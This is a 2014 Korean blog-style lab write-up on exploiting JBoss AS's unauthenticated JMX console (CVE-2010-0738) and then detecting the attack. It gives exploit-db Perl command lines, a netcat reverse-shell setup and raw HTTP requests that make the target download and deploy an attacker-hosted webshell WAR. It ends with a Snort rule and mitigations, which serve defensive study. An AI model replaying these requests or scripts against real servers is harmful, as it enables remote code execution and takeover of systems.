메뉴 건너뛰기

Hello :0

JBoss AS Remote Exploit

2014.09.23 16:10

Leekyu 조회 수:1702

1. Jboss ?

1.jpg

제이보스는 자바를 기반으로 하는 오픈 소스 미들웨어의 총칭이다. 대표적으로 Java EE 스펙을 지원하는 제이보스 애플리케이션 서버가 있다. 현재 40개 이상의 다양한 프로젝트가 있으며, Jboss.org 커뮤니티에 의해 개발 및 운영되고 있다. 제이보스는 각 프로젝트의 핵심 개발자를 Jboss Inc.의 직원으로 고용하고 있으므로 오픈 소스의 프로젝트이면서 직원으로 고용하면서 제품 개발을 계속하는 독특한 형태를 취하고 있다.

-위키백과-



2. 취약점 발생이유

JBoss는 설치시에 아무런 인증 절차 없이 관리 할 수 있는 페이지에 접근이 가능한다. jboss-4.2.1 버전 부터는 기본 값으로 로컬에서만 접근 할 수 있기때문에 위험성이 조금은 줄어 들것으로 예상된다. 취약한 버전으로 외부에서 특정 URL 접근시 명령어를 실행시켜 war파일을 업로드 시킬 수 있다.



3. 공격

http://192.168.1.101:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment:type=DeploymentScanner,flavor=URL 로접속하면 JMX Bean View를 볼수 있다. 여기에서 스크롤을 아래도 내려 가다 보면 void addURL()이라는 부분이 존재한다. 여기에 원격지의 서버에 웹쉘을 war파일 형태로 만들어 놓은 후 실행시키게 되면 웹쉘이 올라 가게 된다.

2.jpg

-웹쉘 존재하는 주소 입력 후 Invoke 클릭


3.jpg

-웹쉘 업로드 확인



4. exploit-db의 프로그램을 이용한 공격

4.jpg

여러가지의 취약점이 있는데 위의 2011-10-03과 2011-03-04를 이용해 보겠다. 두 가지 모두 CVE2010-0738이며 약간의 차이만 존재한다. vicitim는 window 2012 server 이고 Jboss는 4.0.5GA를 사용했다.



4-1. JBoss, JMX Console, misconfigured DeploymentScanner(2011-10-03)

5.jpg

- 해당 exploit는 perl 스크립트로 만들어졌고 실행하면 사용 방법이 나온다. 간단히 사용방법을 설명하면, 먼저 -b옵션(perl 17924.pl -b)으로 webshell이 있는 cmd.war파일을 만들어준다.(java필요)

- 그리고 나서 만들어진 war파일을 자신의 웹서버에 올려둔다. backtarck을 사용한다면 apache를 실행시킨후 /var/www 폴더에 해당 파일을 올려둔다.



6.jpg

- 스크립트 파일도 설정해 주어야 하는데, 프로그램이 실행될때 원격에서 파일을 업로드 하기 때문에 아까전에 생성한 cmd.war가 있는 서버의 주소를 입력 해둔다.



7.jpg

- perl 17924.pl http://192.168.1.101:8080 로 프로그램을 실행시키면, 자동으로 웹쉘을 업로드 하고 제대로 올라갔는지 확인을 한다. 프로그램 실행 결과를 확인 해보면 500 Internal Server Error이 발생했다. 확인을 위해 http://192.168.1.101:8080/cmd/cmd.jsp로 접속을 한다.



8.jpg

- 확인 해본결과 접속이 되고 몇몇 명령어만 실행이 되는 명령어와 실행되지 않는 명령어가 있다.



10.jpg

- vicitim 서버를 확인 해보니 위의 오류가 발생.

- java.io.IOException: Cannot run program "aa.exe": CreateProcess error=2, ??d?? Æ???; ?; ¼? ¾ø

- 해당 오류는 권한 문제에 의한 것으로 명령어 앞에 "cmd /c"를 삽입하면 해결 가능하다함.


9.jpg

- cmd.exe를 실행시키고 명령어를 내리면 잘됨. 리눅스의 경우에는 바로 명령어 입력시 잘 작동할 것으로 판단됨



4-2. JBoss Application Server Remote Exploit(2011-03-04)

이번 exploit도 위의 방법과 유사하나 netcat를 이용하여 reverse connection을 한다. 공격을 하기위해 exploit를 다운 받고 netcat를 설치 해 둔다.


11.jpg

- 공격후 vicitim 쪽에서 연결을 할 수 있도록 4444 port를 이용해 listening를 한다.



12.jpg

- 이번 exploit도 perl로 작성되어 있다. 실행시켜 사용법을 확인한다.

- perl 16274.pl 192.168.1.101 8080 192.168.1.4 4444 win 를 입력하고 공격을 시도 한다. 마지막의 <win/lnx>는 vicitim의 운영체제를 입력한다.



13.jpg

14.jpg

- 1번째 그림은 exploit 시도후 Success한 것을 확인 할 수 있고, 2번째 그림은 vicitim 쪽에서 공격자에게 연결을 한 것을 확인 할 수 있다.


5. 트래픽

5-1. JBoss, JMX Console, misconfigured DeploymentScanner(2011-10-03)


GET /jmx-console/ HTTP/1.1

GET /jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment:flavor=URL,type=DeploymentScanner


POST /jmx-console/HtmlAdaptor

arg0=http://192.168.1.85/cmd.war&methodIndex=1&name=jboss.deployment:type=DeploymentScanner,flavor=URL&action=invokeOp


GET /jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment:flavor=URL,type=DeploymentScanner


POST /jmx-console/HtmlAdaptor

arg0=http://192.168.1.85/cmd.war&methodIndex=7&name=jboss.deployment:type=DeploymentScanner,flavor=URL&action=invokeOp


GET /cmd/cmd.jsp


5-2. JBoss Application Server Remote Exploit(2011-03-04)


POST /jmx-console/HtmlAdaptor

action=invokeOpByName&name=jboss.deployer:service=BSHDeployer&methodName=createScriptDeployment&argType=java.lang.String&arg0=import java.io.FileOutputStream;


GET /c1gX1u6D/VoqGj5OK.jsp


6. Snort Rule


20.jpg

- jboss 접근할때 확인되는 /jmx-console/HtmlAdaptor 로 snort 룰을 만든다. 관제의 규모가 작고 자산에 대한 정보가 확실한 경우 특정 IP와 Port를 목적지로 지정할 수 도 있다.


21.jpg

- 탐지된 공격


7. 대응 방법

- jboss는 낮은 버전의 경우 인증 없이 접근이 가능하기에, 공격시도가 탐지되면 관리자 페이지에 접근을 해서 확인 한다. 취약한 경우는 jboss서버에 파일이 업로드 된 것이 없는지 확인한다.

- 가능하면 최신 버전을 사용하고, 외부 사용자가 접근 할 수 없도록 접근제한을 한다.